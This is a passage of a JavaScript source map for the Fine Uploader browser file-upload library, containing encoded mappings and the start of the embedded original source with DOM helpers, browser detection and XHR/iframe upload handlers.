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","file":"fine-uploader.core.min.js","sourcesContent":[null,"/*globals window, navigator, document, FormData, File, HTMLInputElement, XMLHttpRequest, Blob, Storage, ActiveXObject */\n/* jshint -W079 */\nvar qq = function(element) {\n    \"use strict\";\n\n    return {\n        hide: function() {\n            element.style.display = \"none\";\n            return this;\n        },\n\n        /** Returns the function which detaches attached event */\n        attach: function(type, fn) {\n            if (element.addEventListener) {\n                element.addEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.attachEvent(\"on\" + type, fn);\n            }\n            return function() {\n                qq(element).detach(type, fn);\n            };\n        },\n\n        detach: function(type, fn) {\n            if (element.removeEventListener) {\n                element.removeEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.detachEvent(\"on\" + type, fn);\n            }\n            return this;\n        },\n\n        contains: function(descendant) {\n            // The [W3C spec](http://www.w3.org/TR/domcore/#dom-node-contains)\n            // says a `null` (or ostensibly `undefined`) parameter\n            // passed into `Node.contains` should result in a false return value.\n            // IE7 throws an exception if the parameter is `undefined` though.\n            if (!descendant) {\n                return false;\n            }\n\n            // compareposition returns false in this case\n            if (element === descendant) {\n                return true;\n            }\n\n            if (element.contains) {\n                return element.contains(descendant);\n            } else {\n                /*jslint bitwise: true*/\n                return !!(descendant.compareDocumentPosition(element) & 8);\n            }\n        },\n\n        /**\n         * Insert this element before elementB.\n         */\n        insertBefore: function(elementB) {\n            elementB.parentNode.insertBefore(element, elementB);\n            return this;\n        },\n\n        remove: function() {\n            element.parentNode.removeChild(element);\n            return this;\n        },\n\n        /**\n         * Sets styles for an element.\n         * Fixes opacity in IE6-8.\n         */\n        css: function(styles) {\n            /*jshint eqnull: true*/\n            if (element.style == null) {\n                throw new qq.Error(\"Can't apply style to node as it is not on the HTMLElement prototype chain!\");\n            }\n\n            /*jshint -W116*/\n            if (styles.opacity != null) {\n                if (typeof element.style.opacity !== \"string\" && typeof (element.filters) !== \"undefined\") {\n                    styles.filter = \"alpha(opacity=\" + Math.round(100 * styles.opacity) + \")\";\n                }\n            }\n            qq.extend(element.style, styles);\n\n            return this;\n        },\n\n        hasClass: function(name, considerParent) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));\n        },\n\n        addClass: function(name) {\n            if (!qq(element).hasClass(name)) {\n                element.className += \" \" + name;\n            }\n            return this;\n        },\n\n        removeClass: function(name) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            element.className = element.className.replace(re, \" \").replace(/^\\s+|\\s+$/g, \"\");\n            return this;\n        },\n\n        getByClass: function(className, first) {\n            var candidates,\n                result = [];\n\n            if (first && element.querySelector) {\n                return element.querySelector(\".\" + className);\n            }\n            else if (element.querySelectorAll) {\n                return element.querySelectorAll(\".\" + className);\n            }\n\n            candidates = element.getElementsByTagName(\"*\");\n\n            qq.each(candidates, function(idx, val) {\n                if (qq(val).hasClass(className)) {\n                    result.push(val);\n                }\n            });\n            return first ? result[0] : result;\n        },\n\n        getFirstByClass: function(className) {\n            return qq(element).getByClass(className, true);\n        },\n\n        children: function() {\n            var children = [],\n                child = element.firstChild;\n\n            while (child) {\n                if (child.nodeType === 1) {\n                    children.push(child);\n                }\n                child = child.nextSibling;\n            }\n\n            return children;\n        },\n\n        setText: function(text) {\n            element.innerText = text;\n            element.textContent = text;\n            return this;\n        },\n\n        clearText: function() {\n            return qq(element).setText(\"\");\n        },\n\n        // Returns true if the attribute exists on the element\n        // AND the value of the attribute is NOT \"false\" (case-insensitive)\n        hasAttribute: function(attrName) {\n            var attrVal;\n\n            if (element.hasAttribute) {\n\n                if (!element.hasAttribute(attrName)) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(element.getAttribute(attrName)) == null;\n            }\n            else {\n                attrVal = element[attrName];\n\n                if (attrVal === undefined) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(attrVal) == null;\n            }\n        }\n    };\n};\n\n(function() {\n    \"use strict\";\n\n    qq.canvasToBlob = function(canvas, mime, quality) {\n        return qq.dataUriToBlob(canvas.toDataURL(mime, quality));\n    };\n\n    qq.dataUriToBlob = function(dataUri) {\n        var arrayBuffer, byteString,\n            createBlob = function(data, mime) {\n                var BlobBuilder = window.BlobBuilder ||\n                        window.WebKitBlobBuilder ||\n                        window.MozBlobBuilder ||\n                        window.MSBlobBuilder,\n                    blobBuilder = BlobBuilder && new BlobBuilder();\n\n                if (blobBuilder) {\n                    blobBuilder.append(data);\n                    return blobBuilder.getBlob(mime);\n                }\n                else {\n                    return new Blob([data], {type: mime});\n                }\n            },\n            intArray, mimeString;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return createBlob(arrayBuffer, mimeString);\n    };\n\n    qq.log = function(message, level) {\n        if (window.console) {\n            if (!level || level === \"info\") {\n                window.console.log(message);\n            }\n            else\n            {\n                if (window.console[level]) {\n                    window.console[level](message);\n                }\n                else {\n                    window.console.log(\"<\" + level + \"> \" + message);\n                }\n            }\n        }\n    };\n\n    qq.isObject = function(variable) {\n        return variable && !variable.nodeType && Object.prototype.toString.call(variable) === \"[object Object]\";\n    };\n\n    qq.isFunction = function(variable) {\n        return typeof (variable) === \"function\";\n    };\n\n    /**\n     * Check the type of a value.  Is it an \"array\"?\n     *\n     * @param value value to test.\n     * @returns true if the value is an array or associated with an `ArrayBuffer`\n     */\n    qq.isArray = function(value) {\n        return Object.prototype.toString.call(value) === \"[object Array]\" ||\n            (value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer);\n    };\n\n    // Looks for an object on a `DataTransfer` object that is associated with drop events when utilizing the Filesystem API.\n    qq.isItemList = function(maybeItemList) {\n        return Object.prototype.toString.call(maybeItemList) === \"[object DataTransferItemList]\";\n    };\n\n    // Looks for an object on a `NodeList` or an `HTMLCollection`|`HTMLFormElement`|`HTMLSelectElement`\n    // object that is associated with collections of Nodes.\n    qq.isNodeList = function(maybeNodeList) {\n        return Object.prototype.toString.call(maybeNodeList) === \"[object NodeList]\" ||\n            // If `HTMLCollection` is the actual type of the object, we must determine this\n            // by checking for expected properties/methods on the object\n            (maybeNodeList.item && maybeNodeList.namedItem);\n    };\n\n    qq.isString = function(maybeString) {\n        return Object.prototype.toString.call(maybeString) === \"[object String]\";\n    };\n\n    qq.trimStr = function(string) {\n        if (String.prototype.trim) {\n            return string.trim();\n        }\n\n        return string.replace(/^\\s+|\\s+$/g, \"\");\n    };\n\n    /**\n     * @param str String to format.\n     * @returns {string} A string, swapping argument values with the associated occurrence of {} in the passed string.\n     */\n    qq.format = function(str) {\n\n        var args =  Array.prototype.slice.call(arguments, 1),\n            newStr = str,\n            nextIdxToReplace = newStr.indexOf(\"{}\");\n\n        qq.each(args, function(idx, val) {\n            var strBefore = newStr.substring(0, nextIdxToReplace),\n                strAfter = newStr.substring(nextIdxToReplace + 2);\n\n            newStr = strBefore + val + strAfter;\n            nextIdxToReplace = newStr.indexOf(\"{}\", nextIdxToReplace + val.length);\n\n            // End the loop if we have run out of tokens (when the arguments exceed the # of tokens)\n            if (nextIdxToReplace < 0) {\n                return false;\n            }\n        });\n\n        return newStr;\n    };\n\n    qq.isFile = function(maybeFile) {\n        return window.File && Object.prototype.toString.call(maybeFile) === \"[object File]\";\n    };\n\n    qq.isFileList = function(maybeFileList) {\n        return window.FileList && Object.prototype.toString.call(maybeFileList) === \"[object FileList]\";\n    };\n\n    qq.isFileOrInput = function(maybeFileOrInput) {\n        return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);\n    };\n\n    qq.isInput = function(maybeInput, notFile) {\n        var evaluateType = function(type) {\n            var normalizedType = type.toLowerCase();\n\n            if (notFile) {\n                return normalizedType !== \"file\";\n            }\n\n            return normalizedType === \"file\";\n        };\n\n        if (window.HTMLInputElement) {\n            if (Object.prototype.toString.call(maybeInput) === \"[object HTMLInputElement]\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n        if (maybeInput.tagName) {\n            if (maybeInput.tagName.toLowerCase() === \"input\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    };\n\n    qq.isBlob = function(maybeBlob) {\n        if (window.Blob && Object.prototype.toString.call(maybeBlob) === \"[object Blob]\") {\n            return true;\n        }\n    };\n\n    qq.isXhrUploadSupported = function() {\n        var input = document.createElement(\"input\");\n        input.type = \"file\";\n\n        return (\n            input.multiple !== undefined &&\n                typeof File !== \"undefined\" &&\n                typeof FormData !== \"undefined\" &&\n                typeof (qq.createXhrInstance()).upload !== \"undefined\");\n    };\n\n    // Fall back to ActiveX is native XHR is disabled (possible in any version of IE).\n    qq.createXhrInstance = function() {\n        if (window.XMLHttpRequest) {\n            return new XMLHttpRequest();\n        }\n\n        try {\n            return new ActiveXObject(\"MSXML2.XMLHTTP.3.0\");\n        }\n        catch (error) {\n            qq.log(\"Neither XHR or ActiveX are supported!\", \"error\");\n            return null;\n        }\n    };\n\n    qq.isFolderDropSupported = function(dataTransfer) {\n        return dataTransfer.items &&\n            dataTransfer.items.length > 0 &&\n            dataTransfer.items[0].webkitGetAsEntry;\n    };\n\n    qq.isFileChunkingSupported = function() {\n        return !qq.androidStock() && //Android's stock browser cannot upload Blobs correctly\n            qq.isXhrUploadSupported() &&\n            (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);\n    };\n\n    qq.sliceBlob = function(fileOrBlob, start, end) {\n        var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;\n\n        return slicer.call(fileOrBlob, start, end);\n    };\n\n    qq.arrayBufferToHex = function(buffer) {\n        var bytesAsHex = \"\",\n            bytes = new Uint8Array(buffer);\n\n        qq.each(bytes, function(idx, byt) {\n            var byteAsHexStr = byt.toString(16);\n\n            if (byteAsHexStr.length < 2) {\n                byteAsHexStr = \"0\" + byteAsHexStr;\n            }\n\n            bytesAsHex += byteAsHexStr;\n        });\n\n        return bytesAsHex;\n    };\n\n    qq.readBlobToHex = function(blob, startOffset, length) {\n        var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length),\n            fileReader = new FileReader(),\n            promise = new qq.Promise();\n\n        fileReader.onload = function() {\n            promise.success(qq.arrayBufferToHex(fileReader.result));\n        };\n\n        fileReader.onerror = promise.failure;\n\n        fileReader.readAsArrayBuffer(initialBlob);\n\n        return promise;\n    };\n\n    qq.extend = function(first, second, extendNested) {\n        qq.each(second, function(prop, val) {\n            if (extendNested && qq.isObject(val)) {\n                if (first[prop] === undefined) {\n                    first[prop] = {};\n                }\n                qq.extend(first[prop], val, true);\n            }\n            else {\n                first[prop] = val;\n            }\n        });\n\n        return first;\n    };\n\n    /**\n     * Allow properties in one object to override properties in another,\n     * keeping track of the original values from the target object.\n     *\n     * Note that the pre-overriden properties to be overriden by the source will be passed into the `sourceFn` when it is invoked.\n     *\n     * @param target Update properties in this object from some source\n     * @param sourceFn A function that, when invoked, will return properties that will replace properties with the same name in the target.\n     * @returns {object} The target object\n     */\n    qq.override = function(target, sourceFn) {\n        var super_ = {},\n            source = sourceFn(super_);\n\n        qq.each(source, function(srcPropName, srcPropVal) {\n            if (target[srcPropName] !== undefined) {\n                super_[srcPropName] = target[srcPropName];\n            }\n\n            target[srcPropName] = srcPropVal;\n        });\n\n        return target;\n    };\n\n    /**\n     * Searches for a given element (elt) in the array, returns -1 if it is not present.\n     */\n    qq.indexOf = function(arr, elt, from) {\n        if (arr.indexOf) {\n            return arr.indexOf(elt, from);\n        }\n\n        from = from || 0;\n        var len = arr.length;\n\n        if (from < 0) {\n            from += len;\n        }\n\n        for (; from < len; from += 1) {\n            if (arr.hasOwnProperty(from) && arr[from] === elt) {\n                return from;\n            }\n        }\n        return -1;\n    };\n\n    //this is a version 4 UUID\n    qq.getUniqueId = function() {\n        return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(/[xy]/g, function(c) {\n            /*jslint eqeq: true, bitwise: true*/\n            var r = Math.random() * 16 | 0, v = c == \"x\" ? r : (r & 0x3 | 0x8);\n            return v.toString(16);\n        });\n    };\n\n    //\n    // Browsers and platforms detection\n    qq.ie = function() {\n        return navigator.userAgent.indexOf(\"MSIE\") !== -1 ||\n            navigator.userAgent.indexOf(\"Trident\") !== -1;\n    };\n\n    qq.ie7 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 7\") !== -1;\n    };\n\n    qq.ie8 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 8\") !== -1;\n    };\n\n    qq.ie10 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 10\") !== -1;\n    };\n\n    qq.ie11 = function() {\n        return qq.ie() && navigator.userAgent.indexOf(\"rv:11\") !== -1;\n    };\n\n    qq.edge = function() {\n        return navigator.userAgent.indexOf(\"Edge\") >= 0;\n    };\n\n    qq.safari = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Apple\") !== -1;\n    };\n\n    qq.chrome = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Google\") !== -1;\n    };\n\n    qq.opera = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Opera\") !== -1;\n    };\n\n    qq.firefox = function() {\n        return (!qq.edge() && !qq.ie11() && navigator.userAgent.indexOf(\"Mozilla\") !== -1 && navigator.vendor !== undefined && navigator.vendor === \"\");\n    };\n\n    qq.windows = function() {\n        return navigator.platform === \"Win32\";\n    };\n\n    qq.android = function() {\n        return navigator.userAgent.toLowerCase().indexOf(\"android\") !== -1;\n    };\n\n    // We need to identify the Android stock browser via the UA string to work around various bugs in this browser,\n    // such as the one that prevents a `Blob` from being uploaded.\n    qq.androidStock = function() {\n        return qq.android() && navigator.userAgent.toLowerCase().indexOf(\"chrome\") < 0;\n    };\n\n    qq.ios6 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 6_\") !== -1;\n    };\n\n    qq.ios7 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 7_\") !== -1;\n    };\n\n    qq.ios8 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_\") !== -1;\n    };\n\n    // iOS 8.0.0\n    qq.ios800 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_0 \") !== -1;\n    };\n\n    qq.ios = function() {\n        /*jshint -W014 */\n        return navigator.userAgent.indexOf(\"iPad\") !== -1\n            || navigator.userAgent.indexOf(\"iPod\") !== -1\n            || navigator.userAgent.indexOf(\"iPhone\") !== -1;\n    };\n\n    qq.iosChrome = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\"CriOS\") !== -1;\n    };\n\n    qq.iosSafari = function() {\n        return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf(\"Safari\") !== -1;\n    };\n\n    qq.iosSafariWebView = function() {\n        return qq.ios() && !qq.iosChrome() && !qq.iosSafari();\n    };\n\n    //\n    // Events\n\n    qq.preventDefault = function(e) {\n        if (e.preventDefault) {\n            e.preventDefault();\n        } else {\n            e.returnValue = false;\n        }\n    };\n\n    /**\n     * Creates and returns 